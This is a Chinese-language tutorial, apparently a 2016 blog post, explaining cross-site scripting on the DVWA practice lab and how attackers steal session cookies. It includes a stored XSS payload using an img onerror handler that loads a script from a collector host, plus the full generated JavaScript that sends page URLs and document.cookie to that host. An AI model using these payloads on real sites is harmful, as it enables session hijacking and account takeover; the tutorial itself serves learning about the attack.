揭秘——黑客是如何使用xss的

揭秘——黑客是如何使用xss的

0x00 什么是xss

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,

CSS

)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。(摘自百度百科)

在 2013 owasp top 10 中,xss被列在第三位,可想而知xss在web攻击手段里,有着不小的地位。

0x01 xss检测

ps:搭建一个DVWA作为测试环境。小白用户可以直接将DVWA理解成一个充满了各种web漏洞的网站,当然xss也在其中。

在DVWA安全等级为最低的情况下,该平台对任意用户的输入并没有做任何过滤。也就是说,输入既是输出。

在一般的xss检测过程中,安全研究人员或者是黑客,通常会使用最简单的alert(1),来检测当前输入位置是否存在xss。

ps:什么是alert(1)?这是一行简单的javascript代码,如果正常运行的话,浏览器将会弹出一个对话框。如果你使用的是Chrome浏览器的话,可以尝试着按F12开启开发者选项,在console中输入alert(1)。将会看到如下效果

接下来去DVWA环境里检测xss。

在页面中提交如下数据:

Name : alert(1)

Message :</div><script>alert(1)</script>

将会看到一个对话框的弹出。

接下来每刷新一次页面,都将会弹出该对话框。

简单的分析一下该页面的源代码

这是正常的一条评论。


这里是刚刚提交的不正常的评论。


可以看到,我们在message里面提交的</div>提前闭合了该条评论。从而导致javascript代码能够被解析并执行。

0x02 黑客是怎么利用的

安全研究人员到了上面这一步,就可以收工了。然而,作为一个好奇心作怪的黑客,怎么能就此为止呢。

那么黑客到底是怎么利用的呢?

可以知道,如果网站存在xss漏洞的话,就能执行恶意的javascript代码,那么javascript就能够执行很多本地的操作,比如获取当前网页的cookies。

ps:比如你可以试试在console里面输入alert(document.cookie),将会把你浏览的当前网站的cookies弹出。

有了cookies,黑客就可以直接使用这个cookies伪造登录。

当然,黑客并不会在有xss漏洞的地方只插入一段alert(document.cookie),因为黑客又看不到。。。

黑客到了这,将会利用javascript代码,将获取到的cookies发送到自己搭建好的一个平台,并记录下以便利用。

这里介绍一个xss platform——xsser,也就是xss收信平台,最早开源于wooyun(怀念wooyun,致敬)。也是目前黑客最常使用的一个平台。

搭建好xsser这个平台后,建一个新的项目。像是这样

回到DVWA中,提交新的数据。

提交该数据后,就可以在xsser平台中,看到发来的信息。

到这里,黑客就能够利用获取到的cookies伪造登录了。

------- update 2016/10/11 1:15 ---------

写文章时没有抓住重点,导致内容与标题不符。

前来更新关于插入代码部分的分析,更加偏重对黑客利用手法的分析。

在message写入的内容为:

<img   onerror="s=createElement('script');body.appendChild(s);s.src='http://192.168.1.103/xss/SMA9ST';" src="x">

这是一个img图片标签,src指向图片的源地址为‘x’,很明显这个地址不存在。所以就将会执行img标签里面的onerror的属性内容。其内容是通过产生一个script代码标签,并将代码的源地址指向xsser平台。通过访问192.168.1.103/xss/SMA9S这个地址,将会获得以下javascript代码。

这是平台自动生成的代码。

(function() {
		(new Image()).src = 'http://192.168.1.103/xss/index.php?do=api&id=SMA9ST&location=' + escape((function() {
			try {
				return document.location.href
			} catch (e) {
				return ''
			}
		})()) + '&toplocation=' + escape((function() {
			try {
				return top.location.href
			} catch (e) {
				return ''
			}
		})()) + '&cookie=' + escape((function() {
			try {
				return document.cookie
			} catch (e) {
				return ''
			}
		})()) + '&opener=' + escape((function() {
			try {
				return (window.opener && window.opener.location.href) ? window.opener.location.href : ''
			} catch (e) {
				return ''
			}
		})());
	})();

在这段javascript中,同样是通过产生一个图片对象,请求的地址为xsser平台的一个链接,在函数中,通过javascript的操作,获取到了网页地址信息,以及最重要的cookies信息。

每当打开一次DVWA中的xss页面时,浏览器就会自动的去请求这段javascript代码,并且执行函数,进一步通过以伪装请求图片的方式,向xsser平台发送数据。

希望这次更新能对大家有帮助。

难免有些差错、不严谨的地方,还望见谅。

---------------- update end --------------

当然,黑客有时候并不一定是为了cookies。

也许是为了明天的馒头呢。

(感谢 @Murasaki 指出alert(document.cookie)里的cookie没有s,已更正。)

编辑于 2016-10-11 12:48